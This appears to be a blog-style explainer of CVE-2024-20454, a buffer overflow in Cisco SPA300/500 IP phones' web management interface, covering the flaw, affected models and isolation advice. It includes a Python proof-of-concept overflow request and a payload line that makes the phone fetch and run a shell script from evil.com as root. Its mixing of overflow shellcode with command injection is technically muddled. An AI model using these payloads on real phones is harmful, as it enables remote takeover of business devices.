CVE-2024-20454 - Critical Remote Command Execution in Cisco SPA300/500 Series IP Phones

In early 2024, Cisco confirmed multiple serious security issues affecting its Small Business SPA300 and SPA500 Series IP phones. The most critical of these was CVE-2024-20454, a vulnerability that can allow unauthenticated attackers to run commands with root privileges on the underlying phone operating system simply by sending malicious HTTP requests. For small businesses that rely on these popular IP phones, this is a wake-up call.

Here’s an in-depth and exclusive breakdown, including how the bug works, code snippets for understanding the exploit, and links to original advisories. This guide uses plain American English to help everyone grasp the threats and the urgent need for mitigation.

What Is CVE-2024-20454?

CVE-2024-20454 targets the web-based management interface of Cisco’s SPA300 and SPA500 series IP phones. The core problem:

> The phone's firmware does not properly validate incoming HTTP packets. This causes a buffer overflow, which can let an unauthenticated attacker (someone with no username or password) run any system command with root-level access.

In plain English: Anyone on the network – or with access to the management interface – can take full, unfettered control of your business phones.

References:

- Cisco Security Advisory: cisco-sa-spa3xx-spa5xx-bof-B7mt4w7N
- NIST National Vulnerability Database: CVE-2024-20454

Attack your internal network

No username, no password required. Just a single carefully-crafted HTTP request.

Technical Details

IP phones in the SPA300/500 family use a built-in web server for management. This web server has functions that read input from HTTP headers and URL parameters into fixed-size buffers. If someone sends more data than the buffer can hold, extra bytes overflow into adjacent memory, overwriting return addresses or other important variables.

A classic buffer overflow lets hackers inject machine code (known as "shellcode") or control the flow of the program, so that instead of normal operation, the program takes orders from the attacker.

Example Code Walkthrough

The following pseudocode is a simplified example, but gets across exactly what goes wrong.

// Imagine a buffer that's too small
char buf[256];
strcpy(buf, user_supplied_data); // Dangerous: no length checking!

If user_supplied_data (which comes from an HTTP query parameter) is longer than 256 characters, it'll silently overwrite other parts of memory – potentially giving full control to the attacker.

Proof of Concept (PoC): The Exploit

Disclaimer: Do not use this on production devices. This is for educational purposes only.

Attackers can use a tool like curl or Python’s requests module to send a long string to the vulnerable parameter.

Here’s an example in Python

import requests

target_ip = "192.168.1.100"  # Change this to your phone's IP
url = f"http://{target_ip}/cgi-bin/admin.cgi?param=";

# Build a malicious payload: 300 "A"s (+ shellcode in a real attack)
payload = "A" * 300  

r = requests.get(url + payload)
print(f"Sent malicious payload, response code: {r.status_code}")

Step 2: Attacker Gains Shell Access

If the overflow is tailored right, the attacker can redirect execution to their shellcode. For real-world attacks, the payload might look for command injection, like:

payload = "A"*256 + ";wget http://evil.com/shell.sh|sh;#";
r = requests.get(url + payload)

Here, the extra part (;wget ...) could cause the phone to download and run a malicious script with root rights.

What Models Are Affected?

According to Cisco’s advisory, all final firmware for the following are vulnerable:

SPA501G, SPA502G, SPA504G, SPA508G, SPA509G, SPA512G, SPA514G, SPA525G2

> Note: Cisco has ended support for these devices and will not provide software fixes.

How Can You Protect Your Phones?

- Segregate Management Interfaces: Only allow access to the phone’s web interface from a trusted management LAN.

Conclusion

CVE-2024-20454 makes clear how simple coding oversights can expose business-critical equipment to devastating remote attacks. If you run any Cisco SPA300 or SPA500 Series IP phones, take them off the network or isolate their web interface immediately. Cisco will not fix these – it’s time to retire them.

Timeline

Published on: 08/07/2024 17:15:50 UTC
Last modified on: 08/23/2024 18:13:47 UTC

CVE-2024-20454 - Critical Remote Command Execution in Cisco SPA300/500 Series IP Phones – Detailed Exploit Walkthrough